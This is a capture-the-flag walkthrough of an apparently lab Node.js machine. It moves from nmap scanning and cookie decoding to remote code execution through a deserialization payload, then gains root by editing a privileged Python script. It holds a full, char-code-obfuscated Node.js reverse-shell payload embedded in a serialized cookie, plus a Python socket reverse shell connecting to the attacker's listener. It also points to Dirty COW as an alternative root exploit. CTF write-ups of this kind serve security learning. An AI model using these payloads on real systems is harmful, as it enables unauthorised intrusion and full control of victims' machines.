Fun box that allowed me to get some experience with NodeJS stuff. Lets get started!
Enumeration
As always, lets perform a nmap to start with
[bash]
map -sC -sV -p- -oA initial 10.10.10.85
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-23 19:01 UTC</pre>
Nmap scan report for 10.10.10.85
Host is up (0.024s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
|_http-title: Site doesn’t have a title (text/html; charset=utf-8).
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.38 seconds
[/bash]
Browsing the site gives a 404 error. Both gobuster and dirbuster give me no results. I then realized that I was using port 80… Stupid. Running gobuster and dirbuster on port 3000 gave me the same result. However, just browsing the site gives me a message:
“Hey dummy. 2 + 2 is 22.” Sounds like we need to manipulate the HTTP request. Lets fire up Burp. Using repeater, the following headers are displayed:
GET / HTTP/1.1
Host: 10.10.10.85:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: profile=eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D
Connection: close
Upgrade-Insecure-Requests: 1
If-None-Match: W/”c-8lfvj2TmiRRvB7K+JPws1w9h6aY”
Doing some research, it seems that NodeJS translates = symbols to %3D, Translating the string gives:
eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==
I think that’s base64 used to encode the string. Running it through Cyberchef gives me the following output:
{“username”:”Dummy”,”country”:”Idk Probably Somewhere Dumb”,”city”:”Lametown”,”num”:”2″}
Sounds like the server is allowing command execution. From the nmap, we know that the site is running NodeJS. Some research gave me the following clues on NodeJS security and reverse shells. It seems that NodeJS does allow for some RCE using deserialization.
Exploitation
Looking around a bit, I found a reverse NodeJS shell code on Github that could work, after some tweaks. I replaced the LHOST and LPORT with my current IP (10.10.x.x) and port (8081) on which I told netcat to wait for the shell using:
[bash]
nc -lnvp 8081
[/bash]
After making the changes to the payload, it generates a string to use:
[bash]
sudo python nodejsshell.py 10.10.14.28 8081
[+] LHOST = 10.10.X.X
[+] LPORT = 8081
[+] Encoding
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,50,56,34,59,10,80,79,82,84,61,34,56,48,56,49,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))
{"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,50,56,34,59,10,80,79,82,84,61,34,56,48,56,49,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}
[/bash]
Of course, this needs to be encoded with base64 to get a strings that this node version can execute.
Et voila, we have local user:
LOCAL USER INFO
Privilege escalation
There is another file in the Documents folder, which is a script containing the following:
print "Script is running..."
I have seen these scripts before and often they lead to root. I changed the script so it would spawn a reverse shell:
print "Script is running..."
print "hey test"
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.XX.XX",8181));os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])nc -lnvp 8181
listening on [any] 8181 ...
connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.85] 46522
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
We are now root!
Alternatively, you can do the following.
I fire up Linux Exploit Suggester 2 to see if there are any obvious exploits to use. Normally this is a dead end, but you never know.
[bash]
./linux-exploit-suggester-2.pl
#############################
Linux Exploit Suggester 2
#############################
Local Kernel: 4.4.0
Searching among 71 exploits…
Possible Exploits:
[+] af_packet
CVE-2016-8655
Source: <a href="https://www.exploit-db.com/exploits/40871/">https://www.exploit-db.com/exploits/40871/</a>
[+] dirty_cow
CVE-2016-5195
Source: <a href="https://www.exploit-db.com/exploits/40616/">https://www.exploit-db.com/exploits/40616/</a>
[/bash]
Wow! Dirty Cow vulnerability. Awesome, we can have root in no time. Make sure that you comment out the incorrect architecture and root is yours in no time. Make sure that you don’t take too much time after the exploit works, since it will probably crash the machine…
Box done.